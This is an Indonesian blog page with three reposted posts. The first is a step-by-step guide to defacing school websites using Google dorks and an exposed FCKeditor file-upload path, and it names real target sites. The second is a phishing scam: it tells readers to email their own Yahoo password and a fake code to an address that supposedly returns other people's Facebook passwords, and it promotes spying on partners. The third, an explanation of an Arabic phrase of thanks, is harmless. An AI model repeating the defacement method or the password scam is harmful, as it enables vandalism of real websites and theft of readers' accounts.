Sabtu, 22 Juni 2013

Cara Deface Web Sekolah [ sch.id ] Dengan Mudah

Ok enggak usah bnyk basa-basi, langsung saja menuju ke-TKP :

- Step one:

siapin dulu perlatanya !! file .txt dari notepad (isinya terserah anda mau nama pacar nenek ibu kaka terserah) nama sya juga boleh ! hahaha udah buat file kan ? yowes lanjutt !

- Step two:

buka google dulu ! terus masukin Dork (kata kunci) nih sya udah siapin Dork tinggal pilih aja :

inurl:/html/siswa.php?

inurl:/html/alumni.php?

inurl:/html/guru.php?

setelah ngetik Dork tersebut kan ada banyak web sekolah tuh ? kita tinggal pilih aja wkkakka nih sya ada Live Target : http://www.sman1kotabaru.sch.id

- Step Three:

siapin Exploit dulu , tenang aja sya udah punya exploitnya nih :

Exploit: /editor/filemanager/connectors/test.html 

langsung saja di hajar ! masukin exploit tadi ke url web sch.id ex : http://smkn1kuta.sch.id/editor/filemanager/connectors/test.html  nah, udah muncul kan yang mau di panggang ! pada kolom Connector *ASP ubah menjadi *PHP terus kolom Resource Type ubah jadi *FILE lalu klik Browse (cari file .txt yang kamu buat tadi) > Upload 

-  Step four:

setelah berhasil di upload , buka aja hasilnya :

http://sitetarget.sch.id/userfiles/namafileS0bat.txt atau http://sitetarget.sch.id/userfiles/file/namafileS0bat.txt

mudah kan Bro ? & ini contoh-nya : http://www.sman1kotabaru.sch.id/userfiles/file/DevilHacker.txt

Thansk To Spider Defacer Team

sumber : http://dhs.id-fb.com/2012/10/cara-deface-web-sekolah-schid-dengan.html

Cara mengetahui password Facebook orang lain dengan Menggunakan email


Tak banyak yang tau kalau ternyata Facebook dan Yahoo menjalin sebuah kerja sama yang unik, hal ini baru saya tau beberapa waktu yang lalu dari
seorang kawan yg kebetulan juga baru mendapatkan informasi ini. Dan dengan memanfaatkan celah dari kerja sama inilah kita dapat mengetahui password dari account Facebook seseorang dengan sangat mudah. Saya sendiri sudah mencoba beberapa cara dan selalu gagal, sudah men-download berbagai
macam software dalam usaha ini tapi tetap saja tak berhasil mendapatkan password account yg di incar. Tapi ternyata, setelah mengetahui celah ini, saya sampai merasa bodoh sendiri. Karena ternyata sangat mudah mendapatkan password Facebook seseorang jika kita tau cara yg tepat.
Dan sama sekali tidak memerlukan software..! Oke, langsung akan saya jelaskan
caranya..

1. Login ke yahoo. Ingat..!! account yahoo anda harus berumur minimal 30 hari agar cara ini bekerja dengan baik dan HARUS merupakan alamat yang Anda gunakan pada saat registrasi Facebook. Yahoo akan dengan otomatis menolak email yg tidak terhubung ke Facebook.

2. Jika sudah masuk ke Yahoo, tulislah sebuah email yang anda tujukan untuk staff Facebook di Yahoo dengan alamat email:
yservice.centerhelppass@yahoo.com

3. Pada baris SUBJECT masukkan/ketik kalimat : PASSWORD RETRIEVE

4. Lalu pada baris pertama Mail Anda tuliskan alamat email korban yg akan Anda hack.

5. Pada baris kedua masukkan alamat email yg Anda gunakan

6. Pada baris ketiga tuliskan password Yahoo Anda. Ingat, password yang Anda
masukkan inilah yang akan menentukan berhasil tidaknya usaha anda karena server Yahoo akan secara otomatis melakukan login untuk meng-konfirmasi valid
atau tidaknya email Anda, dengan kata lain server yahoo akan meng-extract password dari email calon korban anda dengan menggunakan password anda.
Dan proses ini sangat aman karena anda mengirim email kepada mesin dan bukan kepada seseorang.

7. Dan di baris terakhir masukkan kata : cgi-bin/$et76431&pswrsa
ini merupakan kode yang dibutuhkan untuk men-cocokkan email anda dengan email calon korban yg Anda minta password. Contoh:
jadi jika misalkan email Anda adalah cinta.laura@yahoo.com
dan email korban Anda adalah krisdayanti@yahoo.com
dan password Anda adalah : rahasia
maka email yg Anda tulis nantinya
adalah:

To:
yservice.centerhelppass@yahoo.com
Bcc: cc: (biarkan kosong)
Subject: password retrieve
-----------------------------------------------------------------------------------------------
krisdayanti@yahoo.com cinta.laura@yahoo.com
rahasia
cgi-bin/$et76431&pswrsa
----------------------------------------------------------------------------------------------- Selanjutnya setelah Anda mengirim email tersebut Anda akan mendapatkan balasan secara otomatis dari Yahoo dengan subject: “System Reg Message” Biasanya Yahoo memerlukan waktu sekitar 10 - 20 menit untuk mengkonfirmasikan dan meng-extract password yang Anda minta.
”Server Yahoo akan mengirimkan secara otomatis password
“terlupakan” tersebut.

Saya sendiri telah mencoba cara tersebut. Dari 10 “calon korban”, 9 diantaranya BERHASIL!
Hanya 1 yang gagal dan itupun karena akun yang sudah tidak aktif. Cara ini bisa digunakan untuk mengetahui password Facebook teman dan juga pacar kita, Jadi
bisa untuk memantau aktivitas Facebook pacar kita. Hehe... Pesan Saya, gunakan cara ini sebaik mungkin dan dengan bijaksana. Gunakan hanya untuk
tujuan yang dimaksud. Selamat mencoba…

sumber : http://dhs.id-fb.com/2012/09/cara-mengetahui-password-facebook-orang.html

Sabtu, 08 Juni 2013

Jazakumullah Khairan Katsiran Wa Jazakumullah Ahsanal Jaza

 

Dari web: Alwi 's Blog | m-alwi.com

Penjelasan arti dari tulisan Jazakumullah Khairan Katsiran Wa Jazakumullah Ahsanal Jaza.

Jazaa = semoga memberi/menambah/membalas, ka = engkau (lelaki tunggal), Allah = Allah. Jazakallah (جَزَاكَ اللهُ) artinya “semoga Allah akan memberi/menambah/membalasmu”, ini digunakan sebagai ungkapan terima kasih atas kebaikan seseorang dan sekaligus sebagai sebuah do’a semoga Allah akan membalas kebaikannya (tunggal / kamu).

Jazaa = semoga memberi/menambah/membalas, kum = kalian (jamak), Allah = Allah. Jazakumullah (جَزَاكُمُ اللهُ) artinya “semoga Allah akan memberi/menambah/membalas kalian”, ini digunakan sebagai ungkapan terima kasih atas kebaikan seseorang/sekelompok orang, dan sekaligus sebagai sebuah do’a semoga Allah akan membalas kebaikan mereka (jamak/orang banyak).

Penggunaan hanya dengan kalimat Jazakallah atau Jazakumullah menurut saya masih kurang lengkap (kurang tepat) walaupun makna dan maksudnya sudah bisa dipahami sebagai ungkapan terima kasih dan sekaligus sebagai sebuah do’a semoga Allah akan membalas kebaikanya/mereka. Untuk lengkapnya setelah Jazakallah atau Jazakumullah harus ada penyebutan dalam hal apa Allah akan membalasnya. Jadi setelah Jazakallah atau Jazakumullah perlu ada kalimat berikutnya sebagai penjelasan yakni kalimat Khairan Katsiran (خَيْرًا كَثِيْرًا).

Khairan artinya kebaikan, sedangkan Katsiran artinya banyak, jadi Khairan Katsiran artinya kebaikan yang banyak. Sedangkan Ahsanal Jaza artinya balasan yang terbaik. Jadi arti dari “Jazakumullah Khairan Katsiran Wa Jazakumullah Ahsanal Jaza” (جَزَاكُمُ اللهُ خَيْرًا كَثِيْرًا وَجَزَاكُمُ اللهُ اَحْسَنَ الْجَزَاء) adalah semoga Allah SWT akan membalas kalian dengan kebaikan yang banyak dan semoga Allah SWT akan membalas kalian dengan balasan yang terbaik.

Hadit berikut ini mungkin bisa sedikit menjelaskan tentang dasar dari penggunaan istilah tersebut di atas. Dari Usamah bin Zaid r.a bahwasanya Rasulullah SAW bersabda :

من صُنِعَ إليه مَعْرُوفٌ فقال لِفَاعِلِهِ جَزَاكَ الله خَيْرًا فَقَدْ أَبْلَغَ في الثَّنَاءِ

Artinya “Barangsiapa yang diberikan satu perbuatan kebaikan kepadanya lalu dia membalasnya dengan mengatakan “jazaakallahu khaeron (semoga Allah membalasmu dengan kebaikan), maka sungguh hal itu telah mencukupi dalam menyatakan rasa syukurnya.” (HR.At-Tirmidzi (2035), An-Nasaai dalam Al-kubra (6/53), Al-Maqdisi dalam Al-mukhtarah: 4/1321, Ibnu Hibban: 3413, Al-Bazzar dalam musnadnya:7/54. Hadits ini dishahihkan Al-Albani dalam shahih Tirmidzi).

Catatan : Mohon dikoreksi jika penjelasan saya tentang arti dari kalimat “Jazakumullah Khairan Katsiran Wa Jazakumullah Ahsanal Jaza” masih kurang pas atau kurang tepat.